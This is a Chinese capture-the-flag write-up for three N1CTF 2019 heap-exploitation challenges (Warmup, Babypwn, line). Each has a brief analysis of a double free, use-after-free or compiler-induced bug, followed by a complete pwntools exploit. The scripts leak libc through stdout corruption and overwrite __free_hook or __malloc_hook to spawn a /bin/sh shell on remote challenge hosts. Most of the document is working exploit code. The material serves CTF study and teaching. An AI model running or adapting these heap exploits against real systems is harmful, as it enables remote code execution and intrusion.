N1CTF 2019 部分 writeups

TOC

  1. 1. Warmup
  2. 2. Babypwn
  3. 3. line

源文件下载:n1ctf_2019.zip

Warmup

靶机环境 glibc-2.27。

void __cdecl delete()
{
int index; // [rsp+4h] [rbp-Ch]

printf("index:");
index = get_int();
if ( index >= 0 && index <= 9 )
{
if ( global_ptr[index] )
temp_ptr = (void *)global_ptr[index];
if ( temp_ptr )
{
free(temp_ptr);
global_ptr[index] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
}

delete功能中,存在延迟指针,所以可以double free

思路

脚本

两次部分覆盖,概率是1/256

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
execve_file = './warmup'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.52.90.3', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/10gx $rebase(0x0202080)
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def add(content):
sh.sendlineafter('>>', '1')
sh.sendafter('content>>', content)

def delete(index):
sh.sendlineafter('>>', '2')
sh.sendlineafter('index:', str(index))

def modify(index, content):
sh.sendlineafter('>>', '3')
sh.sendlineafter('index:', str(index))
sh.sendafter('content>>', content)

add('\n')
delete(0)
delete(0)

two_byte = 0x0010 + (random.randint(0, 0xf) << 12)
# add(p16(0x7010))
add(p16(two_byte))
add('\n')
add(p8(0xff) * 0x40)
delete(2)
add(p8(1) * 0x40)
delete(0)

# modify(1, p16(0x0760) + '\xdd')
two_byte = 0x0760 + (random.randint(0, 0xf) << 12)
modify(1, p16(two_byte))

add('\n')
add(p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0xc8))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

delete(0)
delete(1)
add(p64(libc_addr + libc.symbols['__free_hook']))
add('/bin/sh\0')
add(p64(libc_addr + libc.symbols['system']))

delete(0)

sh.interactive()
clear()

Babypwn

靶机环境是 glibc-2.23。没有PIE保护。

void __cdecl delete()
{
int v0; // [rsp+4h] [rbp-Ch]

printf("index:");
v0 = get_int();
if ( v0 > 9 )
{
puts("invalid index!");
exit(0);
}
free(*(void **)&buf[v0]->desc);
}

明显的UAF,难点在于利用申请次数的限制。

思路

为了获得更多的申请次数,我第一步先控制ptr结构。

add('\n', 0x68, '\n')
add('\n', 0x68, '\n')

delete(0)
delete(1)
delete(0)

add(p64(0x71) + p16(0x25dd), 0x68, p64(0x60203d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'aaa' + p64(0x602060) + p64(0x51) + p64(0x602040) + p64(0) * 8 + p32(0x81) )

顺便修改一下stderr指针指向合适的位置方便fastbin attack

之后就是修改stdout,由于我们已经控制了ptr,所以可以无限reload,那么我们就可以申请任意次。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
# context.log_level = 'debug'
execve_file = './BabyPwn.bin'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('49.232.101.41', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def add(name, desc_size, desc):
sh.sendlineafter('choice:', '1')
sh.sendafter('name:', name)
sh.sendlineafter(' size:', str(desc_size))
sh.sendafter('Description:', desc)

def delete(index):
sh.sendlineafter('choice:', '2')
sh.sendlineafter('index:', str(index))

add('\n', 0x68, '\n')
add('\n', 0x68, '\n')

delete(0)
delete(1)
delete(0)

add(p64(0x71) + p16(0x25dd), 0x68, p64(0x60203d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'aaa' + p64(0x602060) + p64(0x51) + p64(0x602040) + p64(0) * 8 + p32(0x81) )
# pause()
# delete(0)

add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
delete(1)
delete(2)
delete(1)
add('\n', 0x68, p64(0x60201d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'bbb' + p64(0) + p64(0x71) + p16(0x25dd))

delete(1)
delete(2)
delete(1)

add('\n', 0x68, p64(0x602030))

# reload
delete(0)
add('\n', 0x48, p64(0x602040) + p64(0) * 8)
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')

add('\n', 0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + (libc.symbols['__malloc_hook'] + 0x10)
log.success('main_arena_addr: ' + hex(main_arena_addr))

delete(1)
delete(2)
delete(1)

add('\n', 0x68, p64(main_arena_addr - 0x33))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')

# reload
delete(0)
add('\n', 0x48, p64(0x602040) + p64(0) * 8)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add('\n', 0x68, 'z' * 0xb + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 4))
# pause()
sh.sendlineafter('choice:', '1')

sh.sendline('ls')

sh.interactive()
clear()

line

靶机环境 glibc-2.27 。

题目给出了源码,原本源码是没有任何问题的,但是编译出来的源程序开启了代码优化,正是这代码优化导致程序的lookup_line函数出现了漏洞。

可能原因是出题人使用的是较老的编译器,我用我自己的机器也编译了一下,对照着源程序的汇编,就会发现有问题。

源程序:

vmovdqa xmm0, xmmword ptr cs:dword_202140
mov edx, 0FFFFFFFFh
mov [rbp-44h], eax
vinserti128 ymm0, ymm0, cs:xmmword_202150, 1
vpbroadcastd ymm1, dword ptr [rbp-44h]
vpcmpeqd ymm0, ymm0, ymm1
vpand ymm0, ymm0, cs:ymmword_15E0
vperm2i128 ymm1, ymm0, ymm0, 1
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 8
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 4
vpmaxsd ymm0, ymm0, ymm1
vmovd eax, xmm0
test eax, eax
cmovz eax, edx
cmp eax, edx
jz short loc_F80

我自己编译的程序:

后面我会将我自己编译的程序称作为新程序

vmovdqa xmm1, xmmword ptr cs:waitting_line
lea rbx, waitting_line
vinserti128 ymm1, ymm1, xmmword ptr cs:waitting_line+10h, 1
vpbroadcastd ymm0, dword ptr [rbp-44h]
vpcmpeqd ymm1, ymm1, ymm0
vpcmpeqd ymm0, ymm0, ymm0
vpblendvb ymm1, ymm0, cs:ymmword_1660, ymm1
vperm2i128 ymm0, ymm1, ymm1, 1
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 8
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 4
vpmaxsd ymm0, ymm0, ymm1
vmovd eax, xmm0
cmp eax, 0FFFFFFFFh
jz short loc_1020

分析上面两段汇编可得,源程序在对waitting_line进行比较的时候,用ymmword_15E0进行赋值,由于源程序是用非0来作为污点(新程序是用非-1作为污点),而ymmword_15E0的值是0000000001000000020000000300000004000000050000000600000007000000,这会使得在执行vpand ymm0, ymm0, cs:ymmword_15E0时,index_0即使已经被判断出来为污点,但是ymmword_15E0还是会将其设置为0,这样一来index_0就可以逃脱waitting_line的判断。

思路

先是泄露libc地址信息,对于memset(people_list[index].info,0,size);,我们只需要设置size为1就能轻松绕过。

for i in range(8):
New(i + 1, 0xf8, '\n')

for i in range(7):
New(i + 0x10, 0x28, '\n')

New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

然后利用程序漏洞进行double free,再用tcache劫持hook。

 New(0x100, 1, '\n')

for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')

New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''


def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system(
'rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)


for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './line'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
define pr
x/8wx $rebase(0x202140)
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)


def New(id, size, content):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(id))
sh.sendlineafter('SIZE: ', str(size))
sh.send(content)

def show():
sh.sendlineafter('choice: ', '2')

for i in range(8):
New(i + 1, 0xf8, '\n')

for i in range(7):
New(i + 0x10, 0x28, '\n')

New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))


New(0x100, 1, '\n')

for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')

New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))

sh.interactive()
clear()